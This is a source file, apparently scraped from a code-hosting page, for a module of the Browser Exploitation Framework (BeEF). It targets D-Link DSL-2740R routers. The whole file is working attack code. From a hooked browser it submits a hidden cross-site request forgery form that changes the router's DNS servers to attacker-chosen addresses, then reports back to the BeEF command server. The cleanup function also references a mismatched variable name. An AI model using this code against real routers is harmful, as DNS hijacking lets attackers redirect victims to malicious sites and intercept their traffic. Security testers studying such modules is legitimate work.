Path: blob/master/modules/exploits/router/dlink_dsl2740r_dns_hijack/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// config9var target = 'http://<%= @rhost %>/Forms/dns_1';10var dns1 = '<%= @dns1 %>';11var dns2 = '<%= @dns2 %>';12var timeout = 15;1314// validate DNS server IP addresses15if (!beef.net.is_valid_ip(dns1)) {16beef.debug('Invalid Primary DNS server IP address was provided');17beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");18return;19}20if (!beef.net.is_valid_ip(dns2)) {21beef.debug('Invalid Secondary DNS server IP address was provided');22beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");23return;24}2526// change DNS27var dlink_dsl2740r_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [28{'type':'hidden', 'name':'Enable_DNSFollowing', 'value':'1'},29{'type':'hidden', 'name':'dnsPrimary', 'value':dns1},30{'type':'hidden', 'name':'dnsSecondary', 'value':dns2}31]);3233beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");3435// clean up36cleanup = function() {37document.body.removeChild(dlink_dsl2740r_<%= @command_id %>);38}39setTimeout("cleanup()", timeout*1000);4041});42434445